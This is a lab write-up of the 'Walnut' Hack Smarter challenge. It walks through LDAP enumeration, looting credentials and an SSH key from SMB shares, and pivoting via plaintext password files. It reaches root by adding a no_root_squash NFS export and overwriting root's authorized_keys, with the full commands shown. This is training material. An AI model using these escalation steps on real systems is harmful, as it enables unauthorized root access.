> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/walnut.md).

# Walnut

Challenge Lab (Easy) - by TheKeen

{% embed url="<https://www.hacksmarter.org/courses/966a53e1-2045-42c5-9724-0efbe438172e>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been assigned a penetration test on a critical Linux server in the client's environment. The primary objective is to gain root-level access to this system to demonstrate maximum impact from the engagement.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with credentials for an "Assumed Breach" scenario.

{% code overflow="wrap" expandable="true" %}

```
username: larryburns
password: IloveMontgommery!
Host: walnut.local
```

{% endcode %}

## Summary

<details>

<summary>Summary</summary>

On Walnut, we start with assumed-breach credentials for `larryburns` that fail against SSH and the readable SMB shares. Further NFS enumeration shows no shares configured at all, but LDAP enumeration succeeds once we bind with the OpenLDAP `uid=larryburns,ou=people,dc=walnut,dc=local` convention rather than the AD-style `cn`. Scrolling the directory dump, we recover an old password stored in the `automation` user's description, which re-grants us access to the previously locked `print$` and `automation` SMB shares. Connecting with `smbclient.py`, we loot the `automation` home directory, retrieving `user.txt` and the account's SSH private RSA key, which we use to SSH in as `automation`. In the home directory we find a script called `scripts/runScript.sh`, which runs an arbitrary command as another user via `su`, feeding that user's password from a file in `.hidden/` named after the MD5 hash of the username; since those files are readable, we compute each hash, read the corresponding password, and pivot through the `localjob1`–`localjob4` accounts. On `localjob3` we find the account can restart the NFS service using `sudo`, and even though `/etc/exports` looks read-only, a `+` in its permission string reveals an ACL that `getfacl` confirms grants `localjob3` write access. We append a `no_root_squash` export for `/root`, restart `nfs-kernel-server`, and mount the share from our host, where retaining root privileges lets us drop our public key into `/root/.ssh/authorized_keys` and finally SSH in as `root`.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.167.132 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.167.132 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGmvfrs2KDpCc7vUrsoy8%2Fgrafik.png?alt=media&amp;token=de5d3a55-5152-457f-88e5-6bba0979e6bb" alt=""><figcaption></figcaption></figure>

The target `10.1.167.132` is a Linux host with the NetBIOS name `WALNUT.` Remote access is available via SSH on port `22`. Directory services are exposed through OpenLDAP on port `389` (version 2.2.X–2.3.X). SMB is served by Samba `4.6.2`on ports `139` and `445`, with message signing enabled but not required. The host also runs an NFS stack: `rpcbind`/portmapper on port `111` and NFS itself on port `2049` (with `nfs_acl`), supported by the usual ancillary RPC services `mountd` on ports `41503`, `53911`, and `59667`, `nlockmgr` on port `43311`, and `status`/`statd` on port `48759`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGHBmY67LACImomLg5IcF%2Fgrafik.png?alt=media&amp;token=888d3d21-25b6-409a-b8a5-a244e47e11f1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvggYh02pTpWiKz4kTG3h%2Fgrafik.png?alt=media&amp;token=3bf5eac4-7f02-42ec-8c30-67198102ce1b" alt=""><figcaption></figcaption></figure>

### SSH

We attempt to authenticate ourselves using the provided credentials on the exposed services, starting with SSH without success.

{% code overflow="wrap" expandable="true" %}

```
ssh larryburns@walnut.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiyQcV6KC99J3UD0drOis%2Fgrafik.png?alt=media&amp;token=dd2fa3d6-7975-41a2-8fc3-68d8aba4b76f" alt=""><figcaption></figcaption></figure>

### NFS

We try to identify shares on the NFS service, but it appears that nothing has been set up.

{% code overflow="wrap" expandable="true" %}

```
nxc nfs walnut.local --enum-shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsQKTDRxMMj7Jp5I4kz65%2Fgrafik.png?alt=media&amp;token=14af1e82-7cce-42e6-b3c0-ebee7812d693" alt=""><figcaption></figcaption></figure>

### SMB

However, we can authenticate against the SMB service using the provided credentials and find two interesting shares: `print$` and `automation`. However, these shares are neither writable nor readable with the credentials we have.

{% code overflow="wrap" expandable="true" %}

```
nxc smb walnut.local -u larryburns -p 'IloveMontgommery!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvWLqQeQ1dzH1bgR8eQi4%2Fgrafik.png?alt=media&amp;token=79eb14d8-4fef-439d-afe7-93ed42a5b400" alt=""><figcaption></figcaption></figure>

### LDAP

As a last resort, we'll try to enumerate the LDAP service. Perhaps we'll find additional users there, and possibly sensitive information in their descriptions or other clues. But the attempt using NetExec fails and throws errors.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap walnut.local -u larryburns -p 'IloveMontgommery!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FX6Yz32OfL14FGsR1Q1TO%2Fgrafik.png?alt=media&amp;token=4c6ceace-cc7e-41c3-9819-6fefef829d46" alt=""><figcaption></figcaption></figure>

We're trying to use `ldapsearch`, but it fails again. We recall, we're working with OpenLDAP.

{% code overflow="wrap" expandable="true" %}

```
ldapsearch -x -H ldap://walnut.local -D "cn=larryburns,dc=walnut,dc=local" -w 'IloveMontgommery!' -b "dc=walnut,dc=local" "(objectClass=*)"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSEsTcn5kqoGA8pMc7oeT%2Fgrafik.png?alt=media&amp;token=2d4be108-b1a6-43b8-a08e-7ac632e9b4b7" alt=""><figcaption></figcaption></figure>

We try it uid based to return every entry in the `dc=walnut,dc=local` tree and are successful.&#x20;

The `uid=larryburns,ou=people,dc=walnut,dc=local` bind worked because OpenLDAP stores users with `uid` as the RDN attribute (under `ou=people`), not `cn`. That's the standard POSIX/OpenLDAP convention, unlike Active Directory which uses `cn`.

{% code overflow="wrap" expandable="true" %}

```
ldapsearch -x -H ldap://walnut.local -D "uid=larryburns,ou=people,dc=walnut,dc=local" -w 'IloveMontgommery!' -b "dc=walnut,dc=local"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3Z3EMK2VAdtUrVVWcLpP%2Fgrafik.png?alt=media&amp;token=db546296-ee2a-4102-a0c5-eb224a2fffd2" alt=""><figcaption></figcaption></figure>

## Access as automation

We scroll through the output of our ldapsearch request and find an old password in the description of the `automation` user.

{% code overflow="wrap" expandable="true" %}

```
ldapsearch -x -H ldap://walnut.local -D "uid=larryburns,ou=people,dc=walnut,dc=local" -w 'IloveMontgommery!' -b "dc=walnut,dc=local"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fsk08zKmQKVTel0nnXU08%2Fgrafik.png?alt=media&amp;token=f52cfeea-88d3-41b2-9255-8563300bee38" alt=""><figcaption></figcaption></figure>

## Shell as automation

We are not able to log in using SSH with the credentials, but we are able to enumerate the shares again and have now permissions on the shares we found earlier.

{% code overflow="wrap" expandable="true" %}

```
nxc smb walnut.local -u automation -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqdfaRAfLWphDo8hw43Yq%2Fgrafik.png?alt=media&amp;token=b295472a-f152-475f-abb9-08b4094923b1" alt=""><figcaption></figcaption></figure>

We connect to the shares using smbclient.py and take a closer look.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py 'walnut.local/automation:REDACTED@walnut.local'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
use print$
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fm9kmNJwQAQbfcqdWwfaS%2Fgrafik.png?alt=media&amp;token=dfc0a411-34d1-4d69-996c-5bcb65c55a62" alt=""><figcaption></figcaption></figure>

The `automation` share appears to be located in the automation users home directory. We download everything, including the first flag we find in the directory. We also find the private RSA key, which we can use to log in to the machine via SSH.

{% code overflow="wrap" expandable="true" %}

```
use automation
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
mget *
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYwQeGJq0s3gZ4DgbkexT%2Fgrafik.png?alt=media&amp;token=4c84f497-9341-4c97-9bb0-d73cbac5abed" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
cat user.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcYlsGM66bncMMVKqx42u%2Fgrafik.png?alt=media&amp;token=165ea824-64ea-471e-986c-23b21b50e71e" alt=""><figcaption></figcaption></figure>

We adjust the permission of the private key and use it to log in as `automation` via SSH.

{% code overflow="wrap" expandable="true" %}

```
chmod 600 id_rsa
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
ssh -i id_rsa automation@walnut.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmSbVKY75YV5JyZ3k8mWK%2Fgrafik.png?alt=media&amp;token=d3b89a67-55c4-4007-bc75-e5f6c67c9fec" alt=""><figcaption></figcaption></figure>

## Shell as localjobX

In the home directory we inspect the scripts folder we already exifiltrated before. This contains a runScript.sh script that runs an arbitrary command (`$2`) as another user (`$1`) via `su`.

he standard input for that `su` session is redirected from a hidden file in `/home/automation/.hidden/`, and the command's output is written to a timestamped log in `/home/automation/scripts/logs/`.

The filename is the MD5 hash of the username. So each user has a matching file in `.hidden/`, named after the hash of their name, and that file holds their password piping it into `su`

{% code overflow="wrap" expandable="true" %}

```
cat ~/scripts/runScript.sh
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkOXpPa4U9gVua6rGU736%2Fgrafik.png?alt=media&amp;token=ff1aff1e-f643-4561-9889-7cf8b62c6a83" alt=""><figcaption></figcaption></figure>

{% code title="runScript.sh" overflow="wrap" lineNumbers="true" expandable="true" %}

```bash
#!/bin/bash

PARM1="$1"
PARM2=`echo -n "$1" | md5sum | cut -d' ' -f 1`
PARM3="$2"
DATE=`date +%d.%m.%Y-%Hh%m.%S`

su - "$PARM1" -c "$PARM3" < /home/automation/.hidden/"$PARM2" > /home/automation/scripts/logs/"$1"-"$DATE".log
```

{% endcode %}

In addition to the `automation` user, there are four other users: `localjob1`, `localjob2`, `localjob3`, and `localjob4`.

{% code overflow="wrap" expandable="true" %}

```
cat /etc/passwd
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAhk0WnPuNmwfjfaxESl9%2Fgrafik.png?alt=media&amp;token=54fe61b8-3ef6-4201-8197-ab543549a691" alt=""><figcaption></figcaption></figure>

We look at the contents of the .hidden folder and find four files that could correspond to the users. One of them is empty, but there is a backup file for it.

{% code overflow="wrap" expandable="true" %}

```
ls -lah ~/.hidden
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeT0bM4QImnAlG8Nisdo5%2Fgrafik.png?alt=media&amp;token=d96eb972-8ca3-4e78-877c-0b2d868f7b37" alt=""><figcaption></figcaption></figure>

We use the line from the script to identify the file associated with a user, which allows us to determine which password belongs to whom.

{% code overflow="wrap" expandable="true" %}

```
echo -n "localjob1" | md5sum | cut -d' ' -f 1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNt2CrEQcOUYqN4fzTVVF%2Fgrafik.png?alt=media&amp;token=1dc65785-47f1-433a-b4cc-2b16a5e623bb" alt=""><figcaption></figcaption></figure>

As an example, we retrieve the password for localjob1 and switch sessions using `su` with the password from the file and are successful. However, at first we don't notice anything out of the ordinary.

{% code overflow="wrap" expandable="true" %}

```
cat ~/.hidden/4f378611beed879f4f62a43ac18452a9
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
su localjob1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi2nDk6aG5OH96lUpFN4Q%2Fgrafik.png?alt=media&amp;token=c18123f3-1874-4cc6-bbb2-d156375f5d84" alt=""><figcaption></figcaption></figure>

## Shell as root

We're working our way through the users, and with the `localjob3` user, whose original file was empty but whose backup doesn't reveal anything new. We find that this user can restart the NFS service using `sudo`.

{% code overflow="wrap" expandable="true" %}

```
echo -n "localjob3" | md5sum | cut -d' ' -f 1
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cat ~/.hidden/b4d2ab0ea77f3306355ac7b2bcfcd614.bak
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
su localjob3
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sudo -l
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPQ1ynRAITce7Y5rJcRU5%2Fgrafik.png?alt=media&amp;token=f1f27315-dc1a-4cf2-9ede-259e9b347e21" alt=""><figcaption></figcaption></figure>

We could take advantage of this if we could also edit the `/etc/exports` file. Then we could misconfigure NFS and restart it to apply the misconfiguration. So we try to disable no\_root\_squash this would allow us to access the NFS share as root from a remote client without our privileges being squashed to `nobody`, meaning we could read or write on the target system as root.

{% embed url="<https://hackviser.com/tactics/pentesting/services/nfs>" %}

First we check the permission on /etc/exports. On the first glance it looks like we can only read that file. But the `+` at the end of the permission string (`-rw-rw-r--+`) means the file has an ACL - Access Control List set on it beyond the standard Unix owner/group/other permissions.

{% code overflow="wrap" expandable="true" %}

```
ls -lah /etc/exports 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMnNi8vFmy05lqWcZOUBM%2Fgrafik.png?alt=media&amp;token=017cacec-7517-4d54-adad-9d26037e8e13" alt=""><figcaption></figcaption></figure>

We can check them as follows and see that the localjob3 user has write access to it.

{% code overflow="wrap" expandable="true" %}

```
getfacl /etc/exports
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZXz3DhLoSYNp3bRHzDVC%2Fgrafik.png?alt=media&amp;token=a9552abb-d0bb-452e-853d-3c14a2a00d77" alt=""><figcaption></figcaption></figure>

So we misconfigure the service to disable `no_root_squash` by adding the following line to `/etc/exports`  mounting the `root` users home directory.

> When root squashing is disabled (no\_root\_squash), the root user on the client maintains root privileges on the NFS share, allowing privilege escalation.

{% code overflow="wrap" expandable="true" %}

```
/root *(rw,sync,no_root_squash)
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoHk82cVF3PeiPJUGnjxQ%2Fgrafik.png?alt=media&amp;token=b372c6a8-02b4-4bd8-bb76-864d75f00975" alt=""><figcaption></figcaption></figure>

Next, we restart the service...

{% code overflow="wrap" expandable="true" %}

```
sudo /usr/bin/systemctl restart nfs-kernel-server.service
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwsSLBo8mtyPYdWjTyIF1%2Fgrafik.png?alt=media&amp;token=d4386d5b-ad13-4ec7-8947-543e6448c0ea" alt=""><figcaption></figcaption></figure>

... and enumerate the nfs share again. We are able to enumerate the `root` folder now.

{% code overflow="wrap" expandable="true" %}

```
id
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
nxc nfs walnut.local --enum-shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FngJZeRINiydLzJEIRcuB%2Fgrafik.png?alt=media&amp;token=7b82a154-680b-441f-9f84-c8092c2f83c0" alt=""><figcaption></figcaption></figure>

And we are also able to retrieve the `root.txt` using NetExec.

{% embed url="<https://www.netexec.wiki/nfs-protocol/escape-to-root-file-system>" %}

{% code overflow="wrap" expandable="true" %}

```
nxc nfs walnut.local --get-file '/root/root.txt' root.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGCiUuIp8vEHtadubdWks%2Fgrafik.png?alt=media&amp;token=f06c7879-861a-4f8e-9d4e-68a0cd23507d" alt=""><figcaption></figcaption></figure>

To get a remote session we could generate a new RSA key pair and replace the /root/.ssh/authorized\_keys with the contents of the generated public key. This would allow us to gain a root shell through SSH using that generated private key. Alternatively we could also upload a SUID bash binary.

{% code overflow="wrap" expandable="true" %}

```
ssh-keygen -t rsa 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvAz7FjZyrjcR9BlDCGkw%2Fgrafik.png?alt=media&amp;token=ea8fc6a9-8c11-42e4-b9dd-ff608e9b456e" alt=""><figcaption></figcaption></figure>

Unfortunately the upload fails using NetExec with the version used.

{% code overflow="wrap" expandable="true" %}

```
nxc nfs walnut.local --put-file root_id_rsa.pub /root/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7F0qRugVzcQo5p4vSrzs%2Fgrafik.png?alt=media&amp;token=c2e95024-d2d9-4bc1-b7c7-ee17c331b5ba" alt=""><figcaption></figcaption></figure>

But the NFS share could be mounted manually and the file be replaced. This works.

{% code overflow="wrap" expandable="true" %}

```
mkdir /tmp/nfs_root
mount -t nfs walnut.local:/ /tmp/nfs_root
cp root_id_rsa.pub /tmp/nfs_root/root/.ssh/authorized_keys
chmod 600 /tmp/nfs_root/root/.ssh/authorized_keys
umount /tmp/nfs_root
```

{% endcode %}

With our public key now in place, we can SSH into the target as `root` using the generated private key.

{% code overflow="wrap" expandable="true" %}

```
ssh -i root_id_rsa root@walnut.local   
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FA9Cb74958R2tioeUtmdd%2Fgrafik.png?alt=media&amp;token=5a5ea614-e595-4ed9-a079-a0c301ffb376" alt=""><figcaption></figcaption></figure>
